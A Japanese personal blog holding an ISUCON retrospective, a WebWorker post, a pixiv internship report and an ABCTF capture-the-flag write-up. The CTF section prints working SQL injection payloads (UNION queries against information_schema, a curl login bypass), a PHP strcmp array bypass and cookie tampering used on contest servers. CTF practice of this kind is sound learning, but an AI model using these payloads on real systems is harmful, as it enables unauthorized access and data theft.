ISUCON反省文
K氏とチーム名「zoi」で参加してました。
今回は諸事情で学生枠でなく、一般枠で参加しました。
チーム名は時期的に被るんじゃないかなと思ってましたが、やはり被りました。ローマ字の方です。
初参加でした。
最終結果はメモってなかったのでアレなのですが、大体15000~16000くらいだったんじゃないかと思います。
予選落ちです。
準備
ISUCONの勝ち方を見たり、過去のエントリを見たり程度。
せめて当日までに使用言語くらいは決めようという感じであった
来年はもっと準備して挑みたいです(反省
やったこと
雑魚なのでK氏に全部やってもらいました。感謝🙏
結果的にチームとしてやったことは
- htmlify内で毎回selectしているものを引数にして渡す
SELECT *
→SELECT keyword
- 毎回
ORDER BY CHARACTER_LENGTH(keyword)
してるので、charlength
カラムを作ってORDER BY charlength
する - entryをredisに入れる/get('/')でredisからとってくる
- starをredisに入れる/load_starsでredisからとってくる
自分がやったことは
- kataribeでログ取ったり
CHARACTER_LENGTH(keyword)
いっぱい入れとく- インデックス貼ったり
- pt-query-digestでSlowLog見ていたり
- phpにうろたえたり
- ベンチマ~クのパケット見ようとしたらメチャンコでかくてうろたえたり
- h2oにしようとして挫折したり
困ったこと
- redisが入んなくて3,4時間かかってた
- 参加していた場所のインフラがわりと
クソ整備されてなくて、wifiに繋がらなかった - てんでsystemdわかんない
- てんでAzureわかんない
starがついていません
→ついてない…??
反省
- SQL全然わかんなくて
CHARACTER_LENGTH
は複文で何とかなるんだろうけど、一行のupdate文大量に作った - 最終点数スクショ取ってない
感想
今回はわりと、楽しもうというテンションで
なんだかんだ準備が不十分だったけれど、
学生枠での本戦が16000くらいだったらしいので、わりといい線だったんじゃないかな、みたいな
不甲斐ないなりにテンションあげてみたり
そんな感じで。
頑張ります はい。いや、頑張るzoi
writeup的な
ABCTFの簡単なのをダラダラやっていて、あとは土日でやろう…
と楽しみに思っていたのですが、いつの間にか終わっていたので、
少し凹んだ。
Writeupがわりと寂しくなっていてショボイですが、覚え書き。
Caesar Salad - Crypt 10
xyzqc{t3_qelrdeq_t3_k33a3a_lk3_lc_qe3p3}
caesar solver
などでグーグル先生に聞いたり
abctf{w3_thought_w3_n33d3d_on3_of_th3s3}
Elemental - Web 10
<!-- 7xfsnj65gsklsjsdkj -->
Just open it - Forensic 15
strings 676F6F645F6A6F625F6275745F746869735F69736E745F7468655F666C6167.jpg |grep "ABCTF" ABCTF{forensics_1_tooo_easy?}
GZ - Forensic 30
解凍するだけでした。たしか。
The Flash - Web 35
$ echo "c3RvcHRoYXRqcw==" | base64 -D stopthatjs
Drive Home - Recon 50
document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing
googleドキュメントのURLっぽいなあと
思っていたら、そんな感じでした。
Chocolate - Web 50
cookieの内容e2FkbWluOmZhbHNlfQ%3D%3D
をデコードしてみて、
$ node -e 'console.log(decodeURIComponent("e2FkbWluOmZhbHNlfQ%3D%3D"))' | base64 -D {admin:false}
false→trueにしてまた戻したり
Java Madness - Rev 50
引数の文字を逆にしているだけみたいな
$ ruby -e 'puts "ctf coolest the is abctf".split(" ").map{|n|n.reverse}.join("\\ ")' | xargs java what_the_hack ... Flag: ABCTF{ftc tselooc eht si ftcba}
手で逆にしていったほうが楽…
とりあえずrubyが書きたかった
Hide And Seek - Bin 50
main: ... 0x0000000100000f0c <+28>: cmp eax,0x0 0x0000000100000f0f <+31>: jne 0x100000f1a <main+42> → 出力しておわり 0x0000000100000f15 <+37>: call 0x100000e70 <totallyNotTheFlag> ... totallyNotTheFlag: ... 0x0000000100000eb0 <+64>: call 0x100000e00 <decrypt> ... decrypt: 0x0000000100000e2c <+44>: cmp rcx,rax 0x0000000100000e2f <+47>: jae 0x100000e63 <decrypt+99> → ret
gdbで適当にdecryptをループさせまくるだけでしょうか
gdb$ b *main+28 gdb$ b *decrypt+44 gdb$ r gdb$ set $eax=0 gdb$ c gdb$ set $rcx=0x0 gdb$ set $rax=0x30 gdb$ d 1 gdb$ commands 2 x/s $rdx set $rcx=0x0 set $rax=0x30 end gdb$ c
あとはエンター押しまくるだけ…
gdb$ Continuing. 0x7fff5fbff510: "CTF{w0w_b1NarY_1s_h@rd}"
MoonWalk - Forensic 60
foremostしました。
L33t H4xx0r - Web 70
source.txt
... if(strcmp($PASSWORD, $_GET['password']) == 0){ $success = true; }else{ $success = false; } ...
strcmpのやつでしょうか。
配列で送って…
http://yrmyzscnvh.abctf.xyz/web6/?password[]=a
abctf{always_know_whats_going_on}
そんな感じです。
Get 'Em All - Web 80
よくあるやつですね
' or 1 = 1 ; -- '
ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}
JS Pls - Rev 80
base64をデコードして難読化された部分を見やすくするために、
&&のところで改行したあと、
メチャンコ読みづらいところを実行して文字列にしておくとわりと読みやすくなったので、
あとはわりと手作業でした。
process.stdin.resume(); process.stdin.setEncoding('utf8'); console.log('Give me a flag'); process.stdin.on('data', function (a) { a = a.trim(); 19 === a.length && a.substr(0, '5') === "ABCTF" && a['5'].charCodeAt(0) === a['18'].charCodeAt(0) - 1 - 1 && 123 === a['5'].charCodeAt(0) && a.substr('6', '4') === Object.keys(process.versions)[1] && a['10'] === a['13'] && 95 === a['10'].charCodeAt(0) && a.substr('11', 2) === (typeof x)['5'] + (typeof a)[0] && a.substr('14', '4') === "w4Ck" && (console.log('nice job!'), process.exit()); console.log('nope!'); process.exit(); });
上から順に、
- 19文字
- 0~5はABCTF
- 最後は
}
- 5文字目は
{
- 6~9文字目
node
$ node -e "console.log(Object.keys(process.versions)[1])" node
- 11文字目と13文字目は一緒
- 10文字目は
_
node -e "console.log(String.fromCharCode(95))" _
- 11~12文字目は
is
console.log((typeof x)['5'] + (typeof a)[0])
をつっこんでみる
- 14~17文字目は
w4Ck
ということがわかるので、
まとめると、ABCTF{node_is_w4Ck}
みたいな感じで。
もう少し効率よく頑張りたい…そんなこの頃。
Reunion - Web 150
?id=sleep(1)
とか?id=1 or 1=1 ; --
やると時間がかかったり全部出てきたりするので'
いらないんだなとか分かったり
こんな感じかな
select * from Dog where id = $_GET['id']
みたいな感じで
unionのカラム数を1 union select 1,1,1
みたいな感じで増やしていくと
カラム数は4つだとわかるので、
とりあえずテーブル名が欲しいので
1 AND 1=2 UNION SELECT table_schema, table_name ,1,1 FROM information_schema.tables ; --
... Color: 1 Name: INNODB_BUFFER_PAGE_LRU Breed: information_schema Color: 1 Name: w0w_y0u_f0und_m3 Breed: webeight Color: 1 Name: webeight ...
w0w_y0u_f0und_m3
テーブルが怪しい。何だ
1 AND 1=2 UNION SELECT *,1,1,1 FROM w0w_y0u_f0und_m3 ; --
。
abctf{uni0n_1s_4_gr34t_c0mm4nd}
的な感じで
Inj3ction - Web 170
login.txt
... $username = $_POST["username"]; $password = $_POST["password"]; $query = "SELECT * FROM users WHERE username='$username'"; $result = mysqli_query($con, $query); $logged_in = false; if(mysqli_num_rows($result) === 1) { $row = mysqli_fetch_array($result); if($row["password"] === $password){ $logged_in = true; if($row["is_admin"] === true){ echo("<h1>Wow! Your flag is: $flag </h1>"); } } } ...
- 1行
- 結果のpasswordがPOSTされたpasswordと一致
- is_adminがtrue
を満たす結果をunionすれば良いのかな こんな感じで
1' union select 1,1,'pass',true ' ;--
みたいな
curl -X POST http://yrmyzscnvh.abctf.xyz/injection3/login.php -d username="1' union select 1,1,'pass',true ' ;--" -d password=pass <h1>Wow! Your flag is: ABCTF{wait?_there's_more?} </h1>
そんなこんなでした。頑張ります。
あと、開催期間はちゃんと把握しておきます。ええ。
久しぶりの
ブログです。
最近はわりと自堕落的に、
本を読んだり、落書きをしたり、
Unityで遊んだり、ネットワークで遊んだり、
Pythonで遊んだり、Cで遊んだり、
してました。遊んでばっかりだな…
それで自分の底の浅さや至らなさなどを痛感したり、
頑張っていきたいと思ったり。
特に何かを強いられているわけではないのですが、
やはり何かを課さないといけないのでは、とか思い、
兎にも角にも少しでも出来る事をやっていこうと、
そんな感じで。ブログを書いていこうと思ったこの頃。
毎sy…いや、せめて毎月…
特に書くことはないのですが、
何か書かないと、アレなので、
最近ちょっと触ってみたWebWorkerのことでも書こうかなという感じです。
また読みづらい文章書いてるな
などと思いながら読んで頂けると本望です。
WebWorkerのことはわりとMDNさまや、html5rocksさまに色々書かれているので、詳しくはこちらを読んで頂けると幸いです。(投)
Webのことはあまり詳しくないのですが、MDN(Mozilla Developer Network)を眺めているだけで色々わかった気分になるので、とても良い読み物です
html5rocksもとてもワクワクする感じが楽しい。暇なとき、食事のおともに。
結局のところ、
JavaScriptはシングルスレッドなので、スクリプト中のコードは必ず順番に処理されるのですが、
複数のスクリプトを同時に実行したい場合、主にイベントやコールバックを用い、また、非同期処理の結果によって処理を分けたい場合はPromiseAPIなどを用いると思います。多分。
そんなわけですが、
それらは並行処理を擬似的に再現してるわけで、実際のところ、DOMやUIのレンダリングなどと同じメインスレッドで処理しているらしいです。
WebWorkerというものはバックグラウンドでJSファイルを実行する仕組みらしく、表で動いているメインスレッドとは別に、独立したスレッドで動作させる事が出来ます。
たとえば、こんな感じでUIの処理と素数計算が同時に動作するページだと、
画像が動いてる途中で思い処理が走ると、UIの処理が止まってしまいます。
WebWorkerを用いるとUIを止めずに動かすことが出来ます。
外部ファイルにJSファイルを分けるのが面倒なので、HTML5Rocksで紹介されているインラインワーカーを使用して、BlobBuilderが無くなったため、Blobを用いています。
ほかのWorkerの生成方法はここはここで色々紹介されています。
あと、githubのhtmlを表示するのはgithackというのを使ってます。ベンリ。
正直のところ、
外部ファイルにしたり、Blobにしたり、メッセージを送ったり返したり
色々面倒なのですが、
Parallel.jsというのがあるらしいので、そっちで書くとちょっとマシな気がします。
Parallel.jsのデモ(動きは一緒です。
せっかくParalleljsなのだから、もっと並列なコードを書きたい…とか
思ったのですが、
並列で素数を数えるのがわりと難しかったり、mapがうまいこと動かなかったり
だったので、また思い立ったときに書ければな…
みたいなこの頃
インターンの感想など
ピクシブのインターンに
行ってきました。5日間。
楽しかったです。
pixiv自体わりとよく使っていて、インターンもとても行きたかった
けれど、過去のインターン参加ブログなどを拝見していると自分が行ける感じでもなく、
ダメ元で応募してみたところ受かってました。
倍率は割と高かったみたいで、何故受かった応募してみるものだなぁ等と思いました。
ダメ元だったため、最終日の翌日から北海道みたいな無理な予定を入れていたり等もしました。
面接では「普段はRubyとか書いてるけどPHPも全然イケます…!」的なことを
言ったところ、珍しいねと言われ、
もし受かってもウルトラPHPエンジニアに囲まれて着いていけるのでは…とか
翌日から後悔に悶える日々でした。終わってみると良い選択だったと思います。
内容
初日
事前に2分程度の自己紹介資料を作成しておくように言われており、
2分とはどんなものか…とか
悩みながら作ったものを発表したり、
サラッと流したつもりのスライドに載せていたtwitterアカウントをフォローされたり
したあと、6チームに分かれ、各作業を行いました。
自分は「百科事典改修チーム」というチームに配属されており、
総合職の方1人と、エンジニアが3人の4人チームで、自分はエンジニアとして参加しました。
内容を端的に言うと、ピクシブ百科事典というサービスを実際に弄らせて頂くという内容でした。
良いのか。
最初内容を聞いた時はあまり理解出来なかったですが、
終わってみてよく考えてみてもポルナレフ状態でした。
具体的にいうと、
「pixiv百科事典は閲覧数は多いけれど、調べたいことが読めたらそのまま帰ってしまうのを何とかしよう」
ということで。
他サービスへの流出量の50%アップというのが課題でした。
環境構築と課題の解決に向けた方向性や現在上がっている問題などの話し合いなどをしたり。
ホワイトデーによりマカロンを頂いたり、
ホテルに帰る際スゴイ雨風で傘が壊れたり。な初日でした
二日目は、午前中はpixivのエンジニアの方のお話を聞いたりしてました。
自分のチームのメンターをしてくださったtadsanさんの発表資料です。
昼からは前日に上がった問題点をgithubのissueとして登録して、
それを解決したり、ABテストをするための実装などしたり。
本当は1日目にも変更をデプロイしておきたかったので、急いで作業を行ったり。
三日目は午前中、
Pixivの社内で行われる全体会議に参加させていただいたり、
したあと、全社員がランダムで席の配置が決められるシステムにより片桐社長と同じ机でお昼を取ったり。
午後からは同じく作業を行ったりしました。
四日目は修羅場作業出来る最終日だったので、頑張って作業したり、
最終日はそれを発表したり、
そんな五日間でした。
業務は朝10時~気が済むまで19時で、
遅くまで残っても作業に付き合ってくれて、とてもありがたく申し訳ない限りでした。
あとハーゲンダッツを頂いて、すごく久しぶりに食べました。ありがたい。
社内の雰囲気はすごくオープンな感じで、
前日までのこんなところ来て良いものかと思っていた感じとは違い、
すごく居過ぎる居やすい環境でした。
あとホワイトデーによりマカロンを頂いたり、
飲み放題な味噌汁サーバとか、ピクシブ栄養ドリンクとか良かったです。
みそ汁は具を入れ過ぎるとワカメの増える量がすごくて大変だった。
あとすごくイスが座りやすくて、何気なく調べたらすごく高くて驚いた。
あと絵馬がすごかった…
憧れの絵描きさんの絵が沢山あり、
nababaさんとかlackさん、あの方も、あっあの方も…みたいな感じで
それを眺めてるだけでも1日使えそうな感じでした。
帰り際の新幹線ギリギリの時間に描かせて頂けることを知り、
15分ほどで急いで描いて帰りました。もう少し時間があれば…。
感想
Pixivというサービスは絵描きとしても気に入っているサイトだったので、
ピクシブ百科の中身を覗いて、ここがこうなっていてここが…ほぇ~などとなったり、
実際に何万PVもされているサービスをいじったり、
使用ユーザーの行動をイベントを集計して見たり、
実際に自分の作ったものが実際のサービスに反映されたり、
エゴサーチをしたら変更に気付いてる人がいたり、
ユーザーとして中の人とお話したり、すごく幸せでした。
PHPと言って良かった…お得感。
お世話になったメンターの方や、チームの方々、ありがとうございました。
これからも頑張ります。